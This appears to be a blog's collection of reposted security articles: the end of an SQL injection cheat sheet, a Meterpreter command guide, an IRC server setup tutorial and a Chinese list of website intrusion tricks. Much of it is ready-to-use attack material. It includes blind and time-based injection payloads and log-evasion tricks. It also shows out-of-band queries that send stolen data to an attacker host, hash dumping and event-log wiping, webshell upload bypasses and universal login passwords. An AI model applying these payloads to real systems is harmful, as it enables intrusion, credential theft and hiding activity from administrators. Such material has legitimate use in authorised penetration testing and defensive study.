    Select p.name from (SELECT
    (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=’U’ and
    i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p
    where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’
‘+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
‘MEMBERS’) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind,
You can not see any difference in the output in any kind. This can be
an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while
exploiting SQL Server back ended application and enumerating table
names. This requests done for first char of the first table name. SQL
queries a bit more complex then requirement because of automation
reasons. In we are trying to determine an ascii value of a char via
binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103– 

TRUE : SELECT
ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well-known way is reading data bit by bit. Both can be
effective in different conditions.

 

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0
style errors to identify difference. Second, be careful while using
times more than 20-30 seconds. database API connection or script can be
timeout.

WAIT FOR DELAY ‘time’ (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY ‘0:0:10’–

Also, you can use fractions like this,

WAITFOR DELAY ‘0:0:0.51’

Real World Samples

  • Are we ‘sa’ ? 
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’
  • ProductID = 1;waitfor delay ‘0:0:10’–
  • ProductID =1);waitfor delay ‘0:0:10’–
  • ProductID =1′;waitfor delay ‘0:0:10’–
  • ProductID =1′);waitfor delay ‘0:0:10’–
  • ProductID =1));waitfor delay ‘0:0:10’–
  • ProductID =1′));waitfor delay ‘0:0:10’–

BENCHMARK() (M)

Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

  • Are we root ? woot! 
    IF EXISTS (SELECT * FROM users WHERE username = ‘root’) BENCHMARK(1000000000,MD5(1))
  • Check Table exist in MySQL 
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

  • SELECT pg_sleep(10); 
    Sleep 10 seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

  • SELECT sleep(10); 
    Sleep 10 seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

  • (SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message((‘xyz’),10) ELSE dbms_pipe.receive_message((‘xyz’),1) END FROM dual)

    {INJECTION} = You want to run the query.

    If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don’t log queries that includes sp_password for security
reasons(!). So if you add –sp_password to your queries it will not be
in SQL Server logs (of course still will be in web server logstry to use POST if it’s possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1
    2. product.asp?id=4 OR 1=1 

  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok
    2. product.asp?name=Bo’ || ‘ok (OM)
    3. product.asp?name=Book’ OR ‘x’=’x

Extra MySQL Notes

  • Sub Queries are working only MySQL 4.1+
  • Users

    • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT
    IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0)
    User,Password FROM mysql.user WHERE User = ‘root’;
  • SELECT … INTO DUMPFILE

    • Write query into a new file (can not modify existing files)
  • UDF Function

    • create function LockWorkStation returns integer soname ‘user32’;
    • select LockWorkStation(); 
    • create function ExitProcess returns integer soname ‘kernel32’;
    • select exitprocess();
  • SELECT USER();
  • SELECT password,USER() FROM mysql.user;
  • First byte of admin hash

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
  • Read File

    • query.php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • MySQL Load Data infile 

    • By default it’s not available !

      • create table foo( line blob ); 
        load data infile ‘c:/boot.ini’ into table foo; 
        select * from foo;
  • More Timing in MySQL
  • select benchmark( 500000, sha1( ‘test’ ) );
  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
  • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ ); 
    Enumeration data, Guessed Brute Force

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

Potentially Useful MySQL Functions

  • MD5() 
    MD5 Hashing
  • SHA1() 
    SHA1 Hashing
  • PASSWORD()
  • ENCODE()
  • COMPRESS() 
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • ROW_COUNT()
  • SCHEMA()
  • VERSION() 
    Same as @@version

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it’s
unfiltered in another action. This is common hidden layer problem.

Name : ‘ + (SELECT TOP 1 password FROM users ) + ‘ 
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or
function, process etc. then it will insert first users password as your
name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user’s Windows password of
target server, but possibly you inbound connection will be firewalled.
Can be very useful internal penetration tests. We force SQL Server to
connect our Windows UNC Share and capture data NTLM session with a tool
like Cain & Abel.

Bulk insert from a UNC Share (S) 
bulk insert foo from ‘\\YOURIPADDRESS\C$\x.txt’

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

  • ?vulnerableParam=1; SELECT * FROM OPENROWSET(‘SQLOLEDB’, ({INJECTION})+’.yourhost.com’;’sa’;’pwd’, ‘SELECT 1’)
    Makes DNS resolution request to {INJECT}.yourhost.com

  • ?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ‘\\’+({INJECTION})+’.yourhost.com\\test.txt’; EXEC master..xp_dirtree @q
    Makes DNS resolution request to {INJECTION}.yourhost.com

    {INJECTION} = You want to run the query.

MySQL

  • ?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat(‘\\\\’,({INJECTION}), ‘yourhost.com\\’)))
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • ?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE ‘\\\\yourhost.com\\share\\output.txt’)
    Writes data to your shared folder/file

    {INJECTION} = You want to run the query.

Oracle

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ sniff.php?sniff=’||({INJECTION})||”) FROM DUAL)
    Sniffer application will save results

  • ?vulnerableParam=(SELECT UTL_HTTP.REQUEST(‘http://host/ ‘||({INJECTION})||’.html’) FROM DUAL)
    Results will be saved in HTTP access logs

  • ?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||’.yourhost.com’) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

  • ?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
    You need to sniff dns resolution requests to yourhost.com

    {INJECTION} = You want to run the query.

References

Since these notes have been collected from several different
sources over a number of years, and through personal experiences, I may
have missed some references. If so please reach out to us so we can add you in this list.

【转载】Meterpreter Basic Commands

原文link: https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Using Meterpeter commands

Since the Meterpreter provides a
whole new environment, we will cover some of the basic Meterpreter
commands to get you started and help familiarize you with this most
powerful tool. Throughout this course, almost every available
Meterpreter command is covered. For those that aren’t covered,
experimentation is the key to successful learning.

help

The ‘help‘ command, as may be expected, displays the Meterpreter help menu.

meterpreter > help Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels ...snip...

 

background

The ‘background‘ command will send the current
Meterpreter session to the background and return you to the msf prompt.
To get back to your Meterpreter session, just interact with it again.

meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter >

 

cat

The ‘cat‘ command is identical to the command found on *nix systems. It displays the content of a file when it’s given as an argument.

meterpreter > cat Usage: cat file

Example usage: meterpreter > cat edit.txt What you talkin' about Willis meterpreter >

 

cd & pwd

The ‘cd‘ & ‘pwd‘ commands are used to change and display current working directly on the target host.
The change directory “cd” works the same way as it does under DOS and *nix systems.
By default, the current working folder is where the connection to your listener was initiated.

ARGUMENTS:

cd:	Path of the folder to change to pwd:	None required

Example usuage:

meterpreter > pwd c:\ meterpreter > cd c:\windows meterpreter > pwd c:\windows meterpreter >

 

clearev

The ‘clearev‘ command will clear the Application, System and Security logs on a Window systems. There are no options or arguments.

Before using Meterpreter to clear the logs | Metasploit Unleashed

Before using Meterpreter to clear the logs | Metasploit Unleashed

Example usage:
Before

meterpreter > clearev [*] Wiping 97 records from Application... [*] Wiping 415 records from System... [*] Wiping 0 records from Security... meterpreter >
After using Meterpreter to clear the logs | Metasploit Unleashed

After using Meterpreter to clear the logs | Metasploit Unleashed

After

download

The ‘download‘ command downloads a file from the remote machine. Note the use of the double-slashes when giving the Windows path.

meterpreter > download c:\\boot.ini [*] downloading: c:\boot.ini -> c:\boot.ini [*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini meterpreter >

 

edit

The ‘edit‘ command opens a file located on the target host.
It uses the ‘vim’ so all the editor’s commands are available.

Example usage:

meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
. ...snip... .
100666/rw-rw-rw-  0       fil   2012-03-01 13:47:10 -0500  edit.txt meterpreter > edit edit.txt 

 

Please refer to the “vim” editor documentation for more advance use.
http://www.vim.org/

execute

The ‘execute‘ command runs a command on the target.

meterpreter > execute -f cmd.exe -i -H Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

getuid

Running ‘getuid‘ will display the user that the Meterpreter server is running as on the host.

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter >

 

hashdump

The ‘hashdump‘ post module will dump the contents of the SAM database.

meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: meterpreter >

 

idletime

Running ‘idletime‘ will display the number of seconds that the user at the remote machine has been idle.

meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter >

 

ipconfig

The ‘ipconfig‘ command displays the network interfaces and addresses on the remote machine.

meterpreter > ipconfig MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0 meterpreter >

 

lpwd & lcd

The ‘lpwd‘ & ‘lcd‘ commands are used to display and change the local working directory respectively.
When receiving a meterpreter shell, the local working directory is the location where one started the Metasploit console.
Changing the working directory will give your meterpreter session access to files located in this folder.

ARGUMENTS:

lpwd:		None required lcd:		Destination folder

Example usage:

meterpreter > lpwd /root meterpreter > lcd MSFU meterpreter > lpwd /root/MSFU meterpreter > lcd /var/www meterpreter > lpwd /var/www meterpreter >

 

ls

As in Linux, the ‘ls‘ command will list the files in the current remote directory.

meterpreter > ls Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data ...snip...

 

 

migrate

Using the ‘migrate‘ post module, you can migrate to another process on the victim.

meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter >

 

ps

The ‘ps‘ command displays a list of running processes on the target.

meterpreter > ps Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe ...snip...

 

resource

The ‘resource‘ command will execute meterpreter
instructions located inside a text file. Containing one entry per line,
“resource” will execute each line in sequence. This can help automate
repetitive actions performed by a user.

By default, the commands will run in the current working directory
(on target machine) and resource file in the local working directory
(the attacking machine).

meterpreter > resource Usage: resource path1 path2Run the commands stored in the supplied files.
meterpreter >

ARGUMENTS:

path1:		The location of the file containing the commands to run. Path2Run:	The location where to run the commands found inside the file

Example usage
Our file used by resource:

root@kali:~# cat resource.txt ls
background root@kali:~#

Running resource command:

meterpreter> > resource resource.txt [*] Reading /root/resource.txt [*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

 

search

The ‘search‘ commands provides a way of locating
specific files on the target host. The command is capable of searching
through the whole system or specific folders.
Wildcards can also be used when creating the file pattern to search for.

meterpreter > search [-] You must specify a valid file glob to search for, e.g. >search -f *.doc

ARGUMENTS:

File pattern:	 	May contain wildcards
Search location:	Optional, if none is given the whole system will be searched.

Example usage:

meterpreter > search -f autoexec.bat Found 1 result...
    c:\AUTOEXEC.BAT meterpreter > search -f sea*.bat c:\\xamp\\ Found 1 result...
    c:\\xampp\perl\bin\search.bat (57035 bytes) meterpreter >

 

shell

The ‘shell‘ command will present you with a standard shell on the target system.

meterpreter > shell Process 39640 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

 

upload

As with the ‘download‘ command, you need to use double-slashes with the ‘upload’ command.

meterpreter > upload evil_trojan.exe c:\\windows\\system32 [*] uploading  : evil_trojan.exe -> c:\windows\system32 [*] uploaded   : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe meterpreter >

 

webcam_list

The ‘webcam_list‘ command when run from the meterpreter shell, will display currently available web cams on the target host.

Example usage:

meterpreter > webcam_list 1: Creative WebCam NX Pro
2: Creative WebCam NX Pro (VFW) meterpreter >

 

webcam_snap

The ‘webcam_snap’ command grabs a picture from a
connected web cam on the target system, and saves it to disc as a JPEG
image. By default, the save location is the local current working
directory with a randomized filename.

meterpreter > webcam_snap -h Usage: webcam_snap [options]
Grab a frame from the specified webcam.

OPTIONS:

    -h      Help Banner
    -i >opt>  The index of the webcam to use (Default: 1)
    -p >opt>  The JPEG image path (Default: 'gnFjTnzi.jpeg')
    -q >opt>  The JPEG image quality (Default: '50')
    -v >opt>  Automatically view the JPEG image (Default: 'true') meterpreter >

OPTIONS:

-h:	Displays the help information for the command
-i opt:	If more then 1 web cam is connected, use this option to select the device to capture the
        image from
-p opt:	Change path and filename of the image to be saved
-q opt:	The imagine quality, 50 being the default/medium setting, 100 being best quality
-v opt:	By default the value is true, which opens the image after capture.

 

Example usage:

meterpreter > webcam_snap -i 1 -v false
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/Offsec/YxdhwpeQ.jpeg
meterpreter >
Using webcam_snap Meterpreter plugin | Metasploit Unleashed

Using webcam_snap Meterpreter plugin | Metasploit Unleashed

【转载】How to setup the Ultimate IRC Server

Original link is: http://www.codeography.com/2012/09/23/howto-irc-server.html

While I like Campfire and HipChat and those other tools for
group collaboration there is just something nice about using an IRC
channel. Probably the most compelling reason is that I am going to have
my IRC client running anyway for other channels — so it would be nice
to just add a server and use the same client I am already using.

At Radius we had been using a public server for a little bit of
communication, but the converstaions starting becoming more technical
and wasn’t happy having things go through someone else’s server, and be
unencrypted. So I decided to setup my own. I give you the ultimate irc
setup:

The Ultimate IRC Server

The ultimate server consists of a few components:

  • The IRC server itself (ircd-hybrid)
  • an IRC bouncer (ZNC)
  • a way to tunnel port 443 to the bouncer
  • and maybe a bot that can post funny pictures of cats for you

I am using Ubuntu Server 12.04.1 LTS (ami-137bcf7a) running on a micro instance.

Install the IRC Server

sudo apt-get install ircd-hybrid
sudo vim /etc/ircd-hybrid/ircd.motd

Create the password required to be the Oper:

WARNING: Please do not mix up themkpasswdprogram from/usr/sbinwith this one. If you are root, typingmkpasswdwill run that one instead and you will receive a strange error.

/usr/bin/mkpasswd super-secret

Edit the config file, this is well documented and there are plenty of
little tweaks you can make but make a couple little changes now:

sudo vim /etc/ircd-hybrid/ircd.conf

Comment out thehostparameter in thelistensection (about line 130 in the default ubuntu config)

host = “127.0.0.1″;

to be

#host = “127.0.0.1″;

And increase themax_clientsin theserverinfosection:

max_clients = 2;

to be

max_clients = 512;

This will open the server up to external connections (Note: make sure
you configure your instance to have these ports open, e.g. in EC2 you
will need to edit the security profile and open ports 443, 6664, and
6667), and allow more than 2 folks to connect from the same IP (which is
important since we will have everyone connect via ZNC running on this
machine).

Now restart the server

sudo /etc/init.d/ircd-hybrid restart

Now you should be able to fire up your favorite client and see if you
can get it to connect to the server. Once you have proven it works,
time to move onto the bouncer.

Install the IRC Bouncer

Originally I followed the guide from Dustin Davis but have a few tweaks:

sudo apt-get install znc
znc --makeconf

Follow the guides to setup the server. I mostly choose the defaults, and enabled all the modules

What port would you like ZNC to listen on? (1025 to 65535): 6664
Would you like ZNC to listen using SSL? (yes/no) [no]: yes
Would you like to create a new pem file now? (yes/no) [yes]: yes
Listen Host (Blank for all ips):
Number of lines to buffer per channel [50]: 1000
Would you like to keep buffers after replay? (yes/no) [no]: yes

Configure ZNC to use the brand new IRC server that we just installed:

IRC server (host only): 127.0.0.1
[127.0.0.1] Port (1 to 65535) [6667]: 6667
[127.0.0.1] Password (probably empty):
Does this server use SSL? (yes/no) [no]:
Would you like to add another server for this IRC network? (yes/no) [no]: no
Would you like to add a channel for ZNC to automatically join? (yes/no) [yes]: yes
Would you like to add another channel? (yes/no) [no]: no
Would you like to set up another user (e.g. for connecting to another network)? (yes/no) [no]: no
Launch ZNC now? (yes/no) [yes]: no

Now you can run ZNC as that user and verify it works, and make tweaks to the config.

vi .znc/configs/znc.conf

or with the webadmin module by pointing a browser to

https://yourhostname:6664

To verify that this works with your local client you should just have
to change the port from 6667 to 6664. If you want to compare settings
my initial config file looked something like this.

Make ZNC a system daemon

At the end of the config keep it running and connect to it from your
local IRC client to make sure things are working. Once you have proven
it works time to set it up as a daemon that starts at boot. I used
Henner’s guide when I first set this up.

killall znc # just to make sure

Create the user and group

sudo addgroup --system znc
sudo adduser --system --no-create-home --ingroup znc znc

Create the init script, I have the one I use up here

sudo vim /etc/init.d/znc

It’s pretty big, so you may want to curl it down

curl https://gist.githubusercontent.com/csexton/3772971/raw/efbe88004be70cb7f157e30aa1183ea5867d8de6/gistfile1.sh > /etc/init.d/znc

Copy over the ZNC config files to/etc, and update permissions

sudo mkdir /etc/znc
sudo mv /home/$USER/.znc/* /etc/znc/
rm -R /home/$USER/.znc
chown -R znc:znc /etc/znc
sudo chown -R znc:znc /etc/znc
sudo chmod +x /etc/init.d/znc

Start ‘er up

sudo /etc/init.d/znc start

Setup port forwarding

Forward from 443 to 6664 to work around firewalls.

This step is not required if your network does not block the ports we
are using. But it is still nice to use in case you ever find yourself
on one. Also you would not want to do this on a server that is serving
webpages over https.

sudo apt-get install rinetd
sudo vim /etc/rinetd.conf

Edit that file to include a new forwarding rule

0.0.0.0 443 127.0.0.1 6664

Restart rinetd

sudo /etc/init.d/rinetd restart

If you enabled the webadmin module in ZNC you should now be able to point your browser tohttps://yourhostnameand edit your ZNC config (and let folks edit their accounts, configure
modules and change passwords). Yes, ZNC uses the same port for IRC
connections and for the admin page.

Recap

Now you should have an irc server running on port 6667, a bouncer
running on port 6664, and a tunnel for the bouncer from port 443.

I just used the web admin module to setup accounts for everyone on my
team. I wound up turning off external access to 6667 so that I didn’t
have to secure ircd, and everyone just goes through ZNC.

You might want to setup an bot to do your bidding, I use radbot. You should fork :-)

I run this on a micro instance on Amazon’s EC2, so it costs us about
$14/month — but given that I use the server for other things as well it
doesn’t really cost the full $14.

【转载】常用渗透及入侵技巧总结

常用渗透及入侵技巧总结如下:

  1. 数据库备份拿shell的时候有时候不成功就备份成解析格式的试试
  2. 上传图片木马遇到拦截系统,连图片木马都上传不了,记事本打开图片木马在代码最前面加上gif89a试试
  3. 当后台有数据库备份但没有上传点时,把一句话木马插到任意处,数据库备份里备份成asp木马,再用一句话客户端连接木马
  4. 当网站前台有“会员注册” 注册一个账户进去看看有没有上传点,有的话直接上传asp木马以及利用iis6.0解析漏洞,不行就抓包用明小子上传
  5. 当页面提示只能上传jpg|gif|png等格式的时候,右键查看源文件,本地修改为asp|asa|php再本地上传即可拿下shell
  6. 入侵网站之前连接下3389,可以连接上的话先尝试弱口令,不行就按5次shift键,看看有没有shift后门,再尝试后门弱口令
  7. 访问后台地址时弹出提示框“请登陆” 把地址记出来(复制不了)放到“网页源代码分析器”里,选择浏览器-拦截跳转勾选–查看即可直接进入后台
  8. ewebeditor编辑器后台增加了asp|asa|cer|php|aspx等扩展名上传时都被过滤了,就增加一个aaspsp再上传asp木马就会解析成功了
  9. 注入工具猜解表段,但猜解字段时提示长度超过50之类,不妨扔到穿山甲去猜解试试,有时候就能成功猜解
  10. 当获得管理员密码却不知道管理员帐号时,到网站前台找新闻链接,一般“提交者”“发布者”的名字就是管理员的帐号了
  11. 菜刀里点击一句话木马地址右键,选择虚拟机终端,执行命令出现乱码时,返回去设置编码那里,将默认的GB2312改为UTF-8
  12. 破解出md5为20位,就把前3位和后1位去掉,剩余16位拿去CMD5解密就可以了
  13. 有时在木马代码里加上gif89a,上传成功访问的时候却出现了像图片一样的错误图像,说明服务器把gif89a当做图片来处理了,不要带gif89a就可以
  14. 网站的主站一般都很安全,这时就要旁注或C段了,但是想知道各个IP段开放了什么端口吗?用“啊D网络工具包”里面的IP端口扫描最明细了
  15. 有的后台不显示验证码,往注册表里添加一个ceg即可突破这个困境了,把下面的代码保存为Code.reg,双击导入就可以了捕获
  16. 注入侵的时候,建议挑php的站点来日,因为php站点一般都支持aspx脚本,aspx里权限比较大,对提权希望比较大呢
  17. 在注入点后面加上-1,若返回的页面和前面不同,是另一个正常的页面,则表示存在注入漏洞,而且是数字型的注入漏洞,在注入点后面加上-0,若返回的页面和之前的页面相同,然后加上-1,返回错误页面,则也表示存在注入漏洞,而且也是数字型的注入漏洞
  18. Linux的解析格式:1.php.xxx (xxx可以是任意) 如果apache不认识后缀为rar的文件,就用1.php.rar格式上传,文件就会被服务器当做PHP脚本解析
  19. 辨别linux系统方法:例如:http://www.xxx.com/xxx/abc.asp?id=125 把b换成大写B访问,如果出错了,就说明是linux系统,反之是windows系统
  20. 如何探测服务器上哪些站点支持aspx呢? 利用bing搜索:http://cn.bing.com/ 搜索格式:ip:服务器ip aspx
  21. PHP万能密码(帐号:’ UNION Select 1,1,1 FROM admin Where ”=’密码:1)
  22. ASP万能密码(帐号密码均是’or’=’or’或admin’or’1=1)
  23. 当我们通过注入或是社工把管理员的帐号跟md5密码搞到手的时候,却发现破解不出密码 (MD5是16位加密的),那么我们就可以用COOKIE欺骗来绕过,利用桂林老兵的cookie欺骗工具,把自己的ID以及md5密码都修改成管理员的,再修改cookie,访问时就会实现欺骗了
  24. 倘若目标站开了cdn加速,真实地址会被隐藏起来,我们想搞它就比较困难了。
  25. 一般而言,后台插一句话,如果数据库扩展名是asp的话,那么插数据库,但是如果有配置文件可以插的话,那肯定是插入配置文件了,但是插 入配置文件有一个很大的风险,那就是一旦出错那么全盘皆输,有可能不仅仅造成后台无法登陆,甚至有可能是整个网站系统崩溃,所以插入配置文件,请慎之又 慎。
  26. 自己的03服务器系统运行burp命令:java -jar bs1407.jar
  27. 记得常扫inc目录,很多时候存在fck编辑器

相关链接:

http://www.77169.com/hack/201510/214921.shtm

【转载】使用Nginx、Nginx Plus抵御DDOS攻击

转载自:http://mp.weixin.qq.com/s?__biz=MzA3MzYwNjQ3NA==&mid=208998983&idx=1&sn=57c74bef6c19227660236fff74557c50&scene=5&srcid=101662lSEf1ZZiBlmMQCY3XS#rd

